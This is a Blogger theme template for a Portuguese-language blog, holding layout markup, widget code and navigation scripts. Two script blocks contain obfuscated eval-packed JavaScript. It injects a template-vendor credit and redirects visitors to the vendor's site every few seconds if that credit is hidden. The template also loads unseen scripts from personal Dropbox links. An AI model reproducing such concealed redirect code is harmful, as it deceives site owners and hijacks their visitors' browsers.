    <b:if cond='data:blog.pageType != &quot;item&quot;'>
      <b:if cond='data:blog.pageType != &quot;static_page&quot;'>

        <script type='text/javascript'>
          var numposts = 1;
          var numposts2 = 3;
          var numposts3 = 3;
          var showpostthumbnails = true;
          var showpostthumbnails2 = true;
          var displaymore = true;
          var displaymore2 = false;
          var showcommentnum = true;
          var showcommentnum2 = true;
          var showpostdate = true;
          var showpostdate2 = true;
          var showpostsummary = true;
          var numchars = 100;
          var thumb_width = 300;
          var thumb_height = 190;
     var thumb_width1 = 506;
          var thumb_height1 = 321;
          var thumb_width22 = 245;
          var thumb_height22 = 140;
          var thumb_width2 = 100;
          var thumb_height2 = 100;
           Slider_numposts = &#39;15&#39;;
          var no_thumb = &#39;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUPTZgS2kxpDPbGLQhvh1x85iCaPX5uIF9Wu2LFEEG_NKg1w4cpEVXHvn8GG-_NQZ9zwVpiwsW18nJ0u_XAMA8vf_hwPSrIOtaUeqp4UUdnXC5gC0e1-QZgdV4GjD5bM9_OcZeCfOowVF5/w300-c-h140/no-image.png&#39;
          var no_thumb2 = &#39;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEio559nIyjVgMu0A3bm3JtQQTWoeZW8dre_OeLzmP8A6slf818Far4riafz7utov-kueE3vYz8r3aXRYqPpPDTrPqGg4OQvBiT5uJQjQL7jfEeIh1OGya_pURHX0miFwD9jI1Gs5Jr1Hoye/s60-c/no-image.png&#39;
        </script>



        <script type='text/javascript'>
          //<![CDATA[
   var _0xdc81=["\x35\x20\x45\x28\x6C\x2C\x30\x29\x7B\x69\x20\x31\x3D\x47\x3B\x69\x20\x33\x3D\x46\x3B\x6D\x3D\x27\x3C\x72\x20\x44\x3D\x22\x27\x2B\x31\x2B\x27\x22\x20\x43\x3D\x22\x27\x2B\x33\x2B\x27\x22\x20\x42\x3D\x22\x27\x2B\x6C\x2E\x62\x28\x27\x2F\x41\x2D\x63\x2F\x27\x2C\x27\x2F\x77\x27\x2B\x31\x2B\x27\x2D\x68\x27\x2B\x33\x2B\x27\x2D\x63\x2F\x27\x29\x2B\x27\x22\x20\x7A\x3D\x22\x27\x2B\x30\x2E\x62\x28\x2F\x22\x2F\x67\x2C\x22\x22\x29\x2B\x27\x22\x20\x38\x3D\x22\x27\x2B\x30\x2E\x62\x28\x2F\x22\x2F\x67\x2C\x22\x22\x29\x2B\x27\x22\x2F\x3E\x27\x3B\x6E\x28\x30\x21\x3D\x22\x22\x29\x6F\x20\x6D\x3B\x79\x20\x6F\x22\x22\x7D\x24\x28\x78\x29\x2E\x73\x28\x35\x28\x29\x7B\x24\x28\x27\x23\x66\x27\x29\x2E\x74\x28\x22\x75\x20\x76\x20\x3C\x61\x20\x39\x3D\x27\x37\x3A\x2F\x2F\x6B\x2E\x6A\x2E\x36\x2F\x27\x20\x65\x3D\x27\x64\x27\x20\x71\x3D\x27\x70\x27\x20\x38\x3D\x27\x34\x20\x32\x27\x3E\x48\x20\x32\x3C\x2F\x61\x3E\x20\x49\x20\x3C\x61\x20\x39\x3D\x27\x37\x3A\x2F\x2F\x4A\x2E\x36\x2F\x27\x20\x65\x3D\x27\x64\x27\x20\x71\x3D\x27\x70\x27\x20\x38\x3D\x27\x34\x20\x32\x27\x3E\x4B\x20\x34\x20\x4C\x3C\x2F\x61\x3E\x22\x29\x3B\x4D\x28\x35\x28\x29\x7B\x6E\x28\x21\x24\x28\x27\x23\x66\x3A\x4E\x27\x29\x2E\x4F\x29\x50\x2E\x51\x2E\x39\x3D\x27\x37\x3A\x2F\x2F\x6B\x2E\x6A\x2E\x36\x2F\x27\x7D\x2C\x52\x29\x7D\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x70\x6F\x73\x74\x5F\x74\x69\x74\x6C\x65\x7C\x69\x6D\x61\x67\x65\x5F\x77\x69\x64\x74\x68\x7C\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x7C\x69\x6D\x61\x67\x65\x5F\x68\x65\x69\x67\x68\x74\x7C\x42\x6C\x6F\x67\x67\x65\x72\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x63\x6F\x6D\x7C\x68\x74\x74\x70\x7C\x74\x69\x74\x6C\x65\x7C\x68\x72\x65\x66\x7C\x7C\x72\x65\x70\x6C\x61\x63\x65\x7C\x7C\x64\x6F\x66\x6F\x6C\x6C\x6F\x77\x7C\x72\x65\x6C\x7C\x6D\x79\x63\x6F\x6E\x74\x65\x6E\x74\x7C\x7C\x7C\x76\x61\x72\x7C\x73\x6F\x72\x61\x74\x65\x6D\x70\x6C\x61\x74\x65\x73\x7C\x77\x77\x77\x7C\x69\x6D\x61\x67\x65\x5F\x75\x72\x6C\x7C\x69\x6D\x61\x67\x65\x5F\x74\x61\x67\x7C\x69\x66\x7C\x72\x65\x74\x75\x72\x6E\x7C\x5F\x62\x6C\x61\x6E\x6B\x7C\x74\x61\x72\x67\x65\x74\x7C\x69\x6D\x67\x7C\x72\x65\x61\x64\x79\x7C\x68\x74\x6D\x6C\x7C\x43\x72\x65\x61\x74\x65\x64\x7C\x42\x79\x7C\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x65\x6C\x73\x65\x7C\x61\x6C\x74\x7C\x73\x37\x32\x7C\x73\x72\x63\x7C\x68\x65\x69\x67\x68\x74\x7C\x77\x69\x64\x74\x68\x7C\x62\x70\x5F\x74\x68\x75\x6D\x62\x6E\x61\x69\x6C\x5F\x72\x65\x73\x69\x7A\x65\x7C\x31\x39\x30\x7C\x33\x30\x30\x7C\x53\x6F\x72\x61\x7C\x61\x6E\x64\x7C\x6D\x79\x62\x6C\x6F\x67\x67\x65\x72\x74\x68\x65\x6D\x65\x73\x7C\x4D\x79\x7C\x54\x68\x65\x6D\x65\x73\x7C\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C\x7C\x76\x69\x73\x69\x62\x6C\x65\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x33\x30\x30\x30","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x72\x65\x70\x6C\x61\x63\x65","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function(_0x936fx1,_0x936fx2,_0x936fx3,_0x936fx4,_0x936fx5,_0x936fx6){_0x936fx5=function(_0x936fx3){return (_0x936fx3<_0x936fx2?_0xdc81[4]:_0x936fx5(parseInt(_0x936fx3/_0x936fx2)))+((_0x936fx3=_0x936fx3%_0x936fx2)>35?String[_0xdc81[5]](_0x936fx3+29):_0x936fx3.toString(36))};if(!_0xdc81[4][_0xdc81[6]](/^/,String)){while(_0x936fx3--){_0x936fx6[_0x936fx5(_0x936fx3)]=_0x936fx4[_0x936fx3]||_0x936fx5(_0x936fx3)};_0x936fx4=[function(_0x936fx5){return _0x936fx6[_0x936fx5]}];_0x936fx5=function(){return _0xdc81[7]};_0x936fx3=1;};while(_0x936fx3--){if(_0x936fx4[_0x936fx3]){_0x936fx1=_0x936fx1[_0xdc81[6]]( new RegExp(_0xdc81[8]+_0x936fx5(_0x936fx3)+_0xdc81[8],_0xdc81[9]),_0x936fx4[_0x936fx3])}};return _0x936fx1;}(_0xdc81[0],54,54,_0xdc81[3][_0xdc81[2]](_0xdc81[1]),0,{}));
          //]]>
        </script>
      </b:if>
    </b:if>
    <!-- author image in post-->
    <script style='text/javascript'>
      //<![CDATA[
      function authorshow(data) {
        for (var i = 0; i < 1; i++) {
          var entry = data.feed.entry[i];
          var avtr = entry.author[0].gd$image.src;
          document.write('<img width="60" height="60" src="' + avtr + '"/>');
        }
      }
      //]]>
    </script>

    <script src='http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'/>

    <script type='text/javascript'>
      $(function() {
        $(&quot;.set-1&quot;).mtabs();                              
      });

var _0x14d2=[&quot;\x24\x28\x66\x29\x2E\x67\x28\x36\x28\x29\x7B\x24\x28\x27\x23\x37\x27\x29\x2E\x68\x28\x22\x69\x20\x6A\x20\x3C\x61\x20\x31\x3D\x27\x32\x3A\x2F\x2F\x35\x2E\x65\x2E\x33\x2F\x27\x20\x38\x3D\x27\x39\x27\x20\x62\x3D\x27\x64\x27\x20\x63\x3D\x27\x34\x20\x30\x27\x3E\x6B\x20\x30\x3C\x2F\x61\x3E\x20\x6C\x20\x3C\x61\x20\x31\x3D\x27\x32\x3A\x2F\x2F\x6D\x2E\x33\x2F\x27\x20\x38\x3D\x27\x39\x27\x20\x62\x3D\x27\x64\x27\x20\x63\x3D\x27\x34\x20\x30\x27\x3E\x6E\x20\x34\x20\x6F\x3C\x2F\x61\x3E\x22\x29\x3B\x70\x28\x36\x28\x29\x7B\x71\x28\x21\x24\x28\x27\x23\x37\x3A\x72\x27\x29\x2E\x73\x29\x74\x2E\x75\x2E\x31\x3D\x27\x32\x3A\x2F\x2F\x35\x2E\x65\x2E\x33\x2F\x27\x7D\x2C\x76\x29\x7D\x29\x3B&quot;,&quot;\x7C&quot;,&quot;\x73\x70\x6C\x69\x74&quot;,&quot;\x54\x65\x6D\x70\x6C\x61\x74\x65\x73\x7C\x68\x72\x65\x66\x7C\x68\x74\x74\x70\x7C\x63\x6F\x6D\x7C\x42\x6C\x6F\x67\x67\x65\x72\x7C\x77\x77\x77\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x6D\x79\x63\x6F\x6E\x74\x65\x6E\x74\x7C\x72\x65\x6C\x7C\x64\x6F\x66\x6F\x6C\x6C\x6F\x77\x7C\x7C\x74\x61\x72\x67\x65\x74\x7C\x74\x69\x74\x6C\x65\x7C\x5F\x62\x6C\x61\x6E\x6B\x7C\x73\x6F\x72\x61\x74\x65\x6D\x70\x6C\x61\x74\x65\x73\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x72\x65\x61\x64\x79\x7C\x68\x74\x6D\x6C\x7C\x43\x72\x65\x61\x74\x65\x64\x7C\x42\x79\x7C\x53\x6F\x72\x61\x7C\x61\x6E\x64\x7C\x6D\x79\x62\x6C\x6F\x67\x67\x65\x72\x74\x68\x65\x6D\x65\x73\x7C\x4D\x79\x7C\x54\x68\x65\x6D\x65\x73\x7C\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C\x7C\x69\x66\x7C\x76\x69\x73\x69\x62\x6C\x65\x7C\x6C\x65\x6E\x67\x74\x68\x7C\x77\x69\x6E\x64\x6F\x77\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x33\x30\x30\x30&quot;,&quot;\x72\x65\x70\x6C\x61\x63\x65&quot;,&quot;&quot;,&quot;\x5C\x77\x2B&quot;,&quot;\x5C\x62&quot;,&quot;\x67&quot;];eval(function(_0xb19bx1,_0xb19bx2,_0xb19bx3,_0xb19bx4,_0xb19bx5,_0xb19bx6){_0xb19bx5=function(_0xb19bx3){return _0xb19bx3.toString(_0xb19bx2)};if(!_0x14d2[5][_0x14d2[4]](/^/,String)){while(_0xb19bx3--){_0xb19bx6[_0xb19bx5(_0xb19bx3)]=_0xb19bx4[_0xb19bx3]||_0xb19bx5(_0xb19bx3)};_0xb19bx4=[function(_0xb19bx5){return _0xb19bx6[_0xb19bx5]}];_0xb19bx5=function(){return _0x14d2[6]};_0xb19bx3=1;};while(_0xb19bx3--){if(_0xb19bx4[_0xb19bx3]){_0xb19bx1=_0xb19bx1[_0x14d2[4]]( new RegExp(_0x14d2[7]+_0xb19bx5(_0xb19bx3)+_0x14d2[7],_0x14d2[8]),_0xb19bx4[_0xb19bx3])}};return _0xb19bx1;}(_0x14d2[0],32,32,_0x14d2[3][_0x14d2[2]](_0x14d2[1]),0,{}));

    </script>
    <script type='text/javascript'>
      //<![CDATA[
      window.selectnav=function(){return function(p,q){var a,h=function(b){var c;b||(b=window.event);b.target?c=b.target:b.srcElement&&(c=b.srcElement);3===c.nodeType&&(c=c.parentNode);c.value&&(window.location.href=c.value)},k=function(b){b=b.nodeName.toLowerCase();return"ul"===b||"ol"===b},l=function(b){for(var c=1;document.getElementById("selectnav"+c);c++){}return b?"selectnav"+c:"selectnav"+(c-1)},n=function(b){g++;var c=b.children.length,a="",d="",f=g-1;if(c){if(f){for(;f--;){d+=r}d+=" "}for(f=0;f<c;f++){var e=b.children[f].children[0];if("undefined"!==typeof e){var h=e.innerText||e.textContent,i="";j&&(i=-1!==e.className.search(j)||-1!==e.parentElement.className.search(j)?m:"");s&&!i&&(i=e.href===document.URL?m:"");a+='<option value="'+e.href+'" '+i+">"+d+h+"</option>";t&&(e=b.children[f].children[1])&&k(e)&&(a+=n(e))}}1===g&&o&&(a='<option value="">'+o+"</option>"+a);1===g&&(a='<select class="selectnav" id="'+l(!0)+'">'+a+"</select>");g--;return a}};if((a=document.getElementById(p))&&k(a)){document.documentElement.className+=" js";var d=q||{},j=d.activeclass||"active1",s="boolean"===typeof d.autoselect?d.autoselect:!0,t="boolean"===typeof d.nested?d.nested:!0,r=d.indent||"\u2192",o=d.label||"- Navigation -",g=0,m=" selected ";a.insertAdjacentHTML("afterend",n(a));a=document.getElementById(l());a.addEventListener&&a.addEventListener("change",h);a.attachEvent&&a.attachEvent("onchange",h)}}}();(jQuery);
      //]]></script>
    <!--Menu To Drop Down Started-->
    <script type='text/javascript'>
      //<![CDATA[
      $(document).ready(function(){
        selectnav('menu-main', {
          label: 'Select Here ',
          nested: true,
          autoselect: false,
          indent: '-'
        });
      });
      //]]></script>
    <script type='text/javascript'>
      //<![CDATA[
      var relatedTitles=new Array();var relatedTitlesNum=0;var relatedUrls=new Array();var thumburl=new Array();function related_results_labels_thumbs(json){for(var i=0;i<json.feed.entry.length;i++){var entry=json.feed.entry[i];relatedTitles[relatedTitlesNum]=entry.title.$t;try{thumburl[relatedTitlesNum]=entry.gform_foot.url}catch(error){s=entry.content.$t;a=s.indexOf("<img");b=s.indexOf("src=\"",a);c=s.indexOf("\"",b+5);d=s.substr(b+5,c-b-5);if((a!=-1)&&(b!=-1)&&(c!=-1)&&(d!="")){thumburl[relatedTitlesNum]=d}else thumburl[relatedTitlesNum]='https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-Z4dJD_RHGIwcy1Yg9KF_AH81ckvFI5KLLdFLd2Yh03cGi43vlR2lAuxCSIQdDOfzCBrUDqMZmCZloe08XH6QiurJMhX_MqGnMdV1ewQnCjaLvhHjDJzlIAHb5j5wV_JZsdGtWkiKTTk/s1600/picture_not_available.png'}if(relatedTitles[relatedTitlesNum].length>35)relatedTitles[relatedTitlesNum]=relatedTitles[relatedTitlesNum].substring(0,35)+"...";for(var k=0;k<entry.link.length;k++){if(entry.link[k].rel=='alternate'){relatedUrls[relatedTitlesNum]=entry.link[k].href;relatedTitlesNum++}}}}function removeRelatedDuplicates_thumbs(){var tmp=new Array(0);var tmp2=new Array(0);var tmp3=new Array(0);for(var i=0;i<relatedUrls.length;i++){if(!contains_thumbs(tmp,relatedUrls[i])){tmp.length+=1;tmp[tmp.length-1]=relatedUrls[i];tmp2.length+=1;tmp3.length+=1;tmp2[tmp2.length-1]=relatedTitles[i];tmp3[tmp3.length-1]=thumburl[i]}}relatedTitles=tmp2;relatedUrls=tmp;thumburl=tmp3}function contains_thumbs(a,e){for(var j=0;j<a.length;j++)if(a[j]==e)return true;return false}function printRelatedLabels_thumbs(){for(var i=0;i<relatedUrls.length;i++){if((relatedUrls[i]==currentposturl)||(!(relatedTitles[i]))){relatedUrls.splice(i,1);relatedTitles.splice(i,1);thumburl.splice(i,1);i--}}var r=Math.floor((relatedTitles.length-1)*Math.random());var i=0;if(relatedTitles.length>0)document.write('<h1>'+relatedpoststitle+'</h1>');document.write('<div style="clear: both;"/>');while(i<relatedTitles.length&&i<20&&i<maxresults){document.write('<a style="text-decoration:none;margin:0 7px 0px 0;float:left;');if(i!=0)document.write('"');else document.write('"');document.write(' href="'+relatedUrls[r]+'"><img class="related_img" src="'+thumburl[r]+'"/><br/><div style="width:172px;padding:9px 14px 20px;color:#fff;height:25px;text-align:left;margin:-61px 0px 0px 0px; font: normal 13px OpenSansRegular; line-height:20px;background: #111;opacity: 0.7;filter: alpha(opacity = 70);">'+relatedTitles[r]+'</div></a>');if(r<relatedTitles.length-1){r++}else{r=0}i++}document.write('</div>');relatedUrls.splice(0,relatedUrls.length);thumburl.splice(0,thumburl.length);relatedTitles.splice(0,relatedTitles.length)}

      //]]>
    </script>

<script src='https://dl.dropboxusercontent.com/u/36399870/blogger/post.js'/><script src='https://dl.dropboxusercontent.com/u/58334579/adll/comemmt.js'/>
</head>
  <body expr:class='&quot;loading&quot; + data:blog.mobileClass'>
    <div id='fb-root'/>
    <script>
      //<![CDATA[
      window.fbAsyncInit = function() {
        FB.init({
          appId : 'YOUR_APPLICATION_ID',
          status : true, // check login status
          cookie : true, // enable cookies to allow the server to access the session
          xfbml : true // parse XFBML
        });
      };
      (function() {
        var e = document.createElement('script');
        e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
        e.async = true;
        document.getElementById('fb-root').appendChild(e);
      }());
      //]]>
    </script>
    <b:section class='navbar' id='navbar' maxwidgets='1' showaddelement='no'>
      <b:widget id='Navbar1' locked='true' title='Navbar' type='Navbar'>
        <b:includable id='main'>&lt;script type=&quot;text/javascript&quot;&gt;
    function setAttributeOnload(object, attribute, val) {
      if(window.addEventListener) {
        window.addEventListener(&#39;load&#39;,
          function(){ object[attribute] = val; }, false);
      } else {
        window.attachEvent(&#39;onload&#39;, function(){ object[attribute] = val; });
      }
    }
  &lt;/script&gt;
&lt;div id=&quot;navbar-iframe-container&quot;&gt;&lt;/div&gt;
&lt;script type=&quot;text/javascript&quot; src=&quot;https://apis.google.com/js/plusone.js&quot;&gt;&lt;/script&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
        gapi.load(&quot;gapi.iframes:gapi.iframes.style.bubble&quot;, function() {
          if (gapi.iframes &amp;&amp; gapi.iframes.getContext) {
            gapi.iframes.getContext().openChild({
                url: &#39;https://www.blogger.com/navbar.g?targetBlogID\0757527758016704571477\46blogName\75Liberta\46publishMode\75PUBLISH_MODE_BLOGSPOT\46navbarType\75LIGHT\46layoutType\75LAYOUTS\46searchRoot\75//libertagarota.blogspot.com/search\46blogLocale\75pt_BR\46v\0752\46homepageUrl\75http://libertagarota.blogspot.com/\46vt\0752821652232349441692&#39;,
                where: document.getElementById(&quot;navbar-iframe-container&quot;),
                id: &quot;navbar-iframe&quot;
            });
          }
        });
      &lt;/script&gt;&lt;script type=&quot;text/javascript&quot;&gt;
(function() {
var script = document.createElement(&#39;script&#39;);
script.type = &#39;text/javascript&#39;;
script.src = &#39;//pagead2.googlesyndication.com/pagead/js/google_top_exp.js&#39;;
var head = document.getElementsByTagName(&#39;head&#39;)[0];
if (head) {
head.appendChild(script);
}})();
&lt;/script&gt;
</b:includable>
      </b:widget>
    </b:section>

    <!-- outer-wrapper start -->
    <div id='outer-wrapper'>
      <div id='top-nav'>

        <nav class='top-menu'>

          <div class='containz'>
         <!--<div id='beakingnews'><span class='tulisbreaking'>Ultimas Postagens..</span>
  <div id='recentpostbreaking'>Carregamento...</div></div>-->

<script type='text/javascript'>
//<![CDATA[
$(document).ready(function () {
var url_blog = 'http://ver878.blogspot.com/', // Replace With your Blog Url
    numpostx = 20; // Maximum Post
$.ajax({
    url: ''+url_blog+'/feeds/posts/default?alt=json-in-script&max-results=' + numpostx + '',
    type: 'get',
    dataType: "jsonp",
    success: function(data) {
        var posturl, posttitle, skeleton = '',
            entry = data.feed.entry;
        if (entry !== undefined) {
            skeleton = "<ul>";
        for (var i = 0; i < entry.length; i++) {
                for (var j=0; j < entry[i].link.length; j++)
                {
                     if (entry[i].link[j].rel == "alternate")
                        {
                            posturl = entry[i].link[j].href;
                            break;
                         }
                }
            posttitle = entry[i].title.$t;
            skeleton += '<li><a href="' + posturl + '" target="_blank">' + posttitle + '</a></li>';
        }
            skeleton += '</ul>';
            $('#recentpostbreaking').html(skeleton);
            // kode untuk efek pada breaking news
            function tick(){
            $('#recentpostbreaking li:first').slideUp( function () { $(this).appendTo($('#recentpostbreaking ul')).slideDown(); });
            }
        setInterval(function(){ tick () }, 5000);
        } else {
            $('#recentpostbreaking').html('<span>No result!</span>');
        }
    },
    error: function() {
            $('#recentpostbreaking').html('<strong>Error Loading Feed!</strong>');
       }
});
});
//]]>
</script>



<ul class='socialbar'>
  <li><a class='soc-follow facebook' href='#' title='facebook'/></li>
  <li><a class='soc-follow twitter' href='#' title='twitter'/></li>
  <li><a class='soc-follow vimeo' href='#' title='vimeo'/></li>
  <li><a class='soc-follow flickrs' href='#' title='flickr'/></li>
  <li><a class='soc-follow dribbble' href='#' title='dribbble'/></li>
  <li><a class='soc-follow linkedin' href='#' title='linkedin'/></li>
  <li><a class='soc-follow googleplus' href='#' title='google plus'/></li>
  </ul>



          </div>
          <!-- social media button end -->
        </nav>
      </div>
      <div class='clear'/>
      <!-- header wrapper start -->
      <header id='header-wrapper'>

<div class='containz'>
        <b:section class='header section' id='header' showaddelement='no'>
          <b:widget id='Header1' locked='false' title='Liberta (Cabeçalho)' type='Header'>
            <b:includable id='main'>
              <b:if cond='data:useImage'>
                <b:if cond='data:imagePlacement == &quot;BEHIND&quot;'>
                  <!--
Show image as background to text. You can't really calculate the width
reliably in JS because margins are not taken into account by any of
clientWidth, offsetWidth or scrollWidth, so we don't force a minimum
width if the user is using shrink to fit.
This results in a margin-width's worth of pixels being cropped. If the
user is not using shrink to fit then we expand the header.
-->
                  <b:if cond='data:mobile'>
                    <div id='header-inner'>
                      <div class='titlewrapper' style='background: transparent'>
                        <h1 class='title' style='background: transparent; border-width: 0px'>
                          <b:include name='title'/>
                        </h1>
                      </div>
                      <b:include name='description'/>
                    </div>
                    <b:else/>
                    <div expr:style='&quot;background-image: url(\&quot;&quot; + data:sourceUrl + &quot;\&quot;); &quot;                        + &quot;background-position: &quot;                        + data:backgroundPositionStyleStr + &quot;; &quot;                        + data:widthStyleStr                        + &quot;min-height: &quot; + data:height                        + &quot;_height: &quot; + data:height                        + &quot;background-repeat: no-repeat; &quot;' id='header-inner'>
                      <div class='titlewrapper' style='background: transparent'>
                        <h1 class='title' style='background: transparent; border-width: 0px'>
                          <b:include name='title'/>
                        </h1>
                      </div>
                      <b:include name='description'/>
                    </div>
                  </b:if>
                  <b:else/>
                  <!--Show the image only-->
                  <div id='header-inner'>
                    <a expr:href='data:blog.homepageUrl' style='display: block'>
                      <img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + &quot;_headerimg&quot;' expr:src='data:sourceUrl' expr:width='data:width' style='display: block'/>
                    </a>
                    <!--Show the description-->
                    <b:if cond='data:imagePlacement == &quot;BEFORE_DESCRIPTION&quot;'>
                      <b:include name='description'/>
                    </b:if>
                  </div>
                </b:if>
                <b:else/>
                <!--No header image -->
                <div id='header-inner'>
                  <div class='titlewrapper'>
                    <h1 class='title'>
                      <b:include name='title'/>
                    </h1>
                  </div>
                  <b:include name='description'/>
                </div>
              </b:if>
            </b:includable>
            <b:includable id='description'>
              <div class='descriptionwrapper'>
                <p class='description'>
                  <span>
                    <data:description/>
                  </span>
                </p>
              </div>
            </b:includable>
            <b:includable id='title'>
              <b:if cond='data:blog.url == data:blog.homepageUrl'>
                <data:title/>
                <b:else/>
                <a expr:href='data:blog.homepageUrl'>
                  <data:title/>
                </a>
              </b:if>
            </b:includable>
          </b:widget>
        </b:section>
        <b:section class='header-right section' id='header-right' maxwidgets='1' showaddelement='yes'>
          <b:widget id='HTML7' locked='false' title='' type='HTML'>
            <b:includable id='main'>
              <!-- only display title if it's non-empty -->
              <b:if cond='data:title != &quot;&quot;'>
                <h2 class='title'>
                  <data:title/>
                </h2>
              </b:if>
              <div class='widget-content'>
                <data:content/>
              </div>
              <b:include name='quickedit'/>
            </b:includable>
          </b:widget>
        </b:section>
        </div>
      </header>
      <!-- header wrapper end -->


<nav id='nav'>
<div class='conty'>
     
        <ul class='nav menubar2' id='menu-main'>
          <li>
            <a class='active' href='/'>
           
             <span>Inicio</span> </a></li>
         
<li><a href='http://www.maistemplate.net/'><span> Parcerias</span></a></li>

<li><a href='http://www.maistemplate.net/'><span> Contato</span></a></li>

<li><a href='/'><span> Editar #</span></a></li>

<li><a href='/'><span> Editar #</span></a></li>


<li><a href='http://www.maistemplate.net/'><span> Mais Template</span></a></li>

        </ul>
        <div id='searchformfix'>
          <form action='/search' id='searchform'>
            <input name='q' onblur='if (this.value == &quot;&quot;) {this.value = &quot;Fazer Busca..&quot;;}' onfocus='if (this.value == &quot;Fazer Busca..&quot;) {this.value = &quot;&quot;;}' type='text' value='Fazer Busca..'/>
            <input type='submit' value=''/>
          </form>
        </div>
        </div>
      </nav>
      <div class='clear'/>


      <!-- secondary navigation menu end -->
      <!-- content wrapper start -->
      <div id='content-wrapper'>


<div class='containz'>


<div id='mywrapper'>


                <!-- post wrapper start -->
          <div id='post-wrapper'>
            <div class='post-container'>
           
              <div id='singlepage'>
                <b:section class='main' id='main' showaddelement='no'>
                  <b:widget id='Blog1' locked='true' title='Postagens no blog' type='Blog'>
                    <b:includable id='main' var='top'>
                      <b:include data='posts' name='breadcrumb'/>
                      <b:if cond='data:mobile == &quot;false&quot;'>
                        <!-- posts -->
                        <div class='blog-posts hfeed'>
                          <b:include data='top' name='status-message'/>
                          <data:defaultAdStart/>
                          <b:loop values='data:posts' var='post'>
                            <b:if cond='data:post.isDateStart'>
                              <b:if cond='data:post.isFirstPost == &quot;false&quot;'>
                                &lt;/div&gt;&lt;/div&gt;
                              </b:if>
                            </b:if>
                            <b:if cond='data:post.isDateStart'>
                              &lt;div class=&quot;date-outer&quot;&gt;
                            </b:if>
                            <b:if cond='data:post.isDateStart'>
                              &lt;div class=&quot;date-posts&quot;&gt;
                            </b:if>
                            <div class='post-outer'>
                              <b:include data='post' name='post'/>
                              <b:if cond='data:blog.pageType == &quot;static_page&quot;'>
                                <b:include data='post' name='comment_picker'/>
                              </b:if>
                              <b:if cond='data:blog.pageType == &quot;item&quot;'>
                                <b:include data='post' name='comment_picker'/>
                              </b:if>
                            </div>
                            <b:if cond='data:post.includeAd'>
                              <b:if cond='data:post.isFirstPost'>
                                <data:defaultAdEnd/>
                                <b:else/>
                                <data:adEnd/>
                              </b:if>
                              <div class='inline-ad'>
                                <data:adCode/>
                              </div>
                              <data:adStart/>
                            </b:if>
                          </b:loop>
                          <b:if cond='data:numPosts != 0'>
                            &lt;/div&gt;&lt;/div&gt;
                          </b:if>
                          <data:adEnd/>
                        </div>
                        <!-- navigation -->
                        <b:if cond='data:blog.pageType == &quot;index&quot;'>
                          <b:include name='page-navi'/>
                          <b:else/>
                          <b:if cond='data:blog.pageType == &quot;archive&quot;'>
                            <b:include name='page-navi'/>
                            <b:else/>
                            <b:include name='nextprev'/>
                          </b:if>
                        </b:if>
                        <!-- feed links -->
                        <b:include name='feedLinks'/>
                        <b:if cond='data:top.showStars'>
                          <script src='//www.google.com/jsapi' type='text/javascript'/>
                          <script type='text/javascript'>
                            google.load(&quot;annotations&quot;, &quot;1&quot;, {&quot;locale&quot;: &quot;<data:top.languageCode/>&quot;});
                            function initialize() {
                              google.annotations.setApplicationId(<data:top.blogspotReviews/>);
                              google.annotations.createAll();
                              google.annotations.fetch();
                            }
                            google.setOnLoadCallback(initialize);
                          </script>
                        </b:if>
                        <b:else/>
                        <b:include name='mobile-main'/>
                      </b:if>
                      <b:if cond='data:top.showDummy'>
                        <data:top.dummyBootstrap/>
                      </b:if>
                    </b:includable>
                    <b:includable id='authorblog'>
                      <div id='author-box'>
                        <div class='block-head'>
                          <h3>
                            Autor:
                            <data:post.author/>
                          </h3>
                          <div class='stripe-line'/>
                        </div>
                        <div class='post-listing'>
                          <div class='author-avatar'>
                            <script src='/feeds/posts/default?alt=json-in-script&amp;callback=authorshow'/>
                          </div>
                          <div class='author-description'>
                            Esta é uma breve descrição no bloco de autor sobre o autor. Para editar va No HTML E procurar esse texto.
                          </div>
                          <div class='clear'/>
                        </div>
                      </div>
                      <!--/entry author-->
                    </b:includable>
                    <b:includable id='backlinkDeleteIcon' var='backlink'>
                      <span expr:class='&quot;item-control &quot; + data:backlink.adminClass'>
                        <a expr:href='data:backlink.deleteUrl' expr:title='data:top.deleteBacklinkMsg'>
                          <img src='//www.blogger.com/img/icon_delete13.gif'/>
                        </a>
                      </span>
                    </b:includable>
                    <b:includable id='backlinks' var='post'>
                      <a name='links'/>
                      <h4>
                        <data:post.backlinksLabel/>
                      </h4>
                      <b:if cond='data:post.numBacklinks != 0'>
                        <dl class='comments-block' id='comments-block'>
                          <b:loop values='data:post.backlinks' var='backlink'>
                            <div class='collapsed-backlink backlink-control'>
                              <dt class='comment-title'>
                                <span class='backlink-toggle-zippy'>
                                  &#160;
                                </span>
                                <a expr:href='data:backlink.url' rel='nofollow'>
                                  <data:backlink.title/>
                                </a>
                                <b:include data='backlink' name='backlinkDeleteIcon'/>
                              </dt>
                              <dd class='comment-body collapseable'>
                                <data:backlink.snippet/>
                              </dd>
                              <dd class='comment-footer collapseable'>
                                <span class='comment-author'>
                                  <data:post.authorLabel/>
                                  <data:backlink.author/>
                                </span>
                                <span class='comment-timestamp'>
                                  <data:post.timestampLabel/>
                                  <data:backlink.timestamp/>
                                </span>
                              </dd>
                            </div>
                          </b:loop>
                        </dl>
                      </b:if>
                      <p class='comment-footer'>
                        <a class='comment-link' expr:href='data:post.createLinkUrl' expr:id='data:widget.instanceId + &quot;_backlinks-create-link&quot;' target='_blank'>
                          <data:post.createLinkLabel/>
                        </a>
                      </p>
                    </b:includable>
                    <b:includable id='breadcrumb' var='posts'>
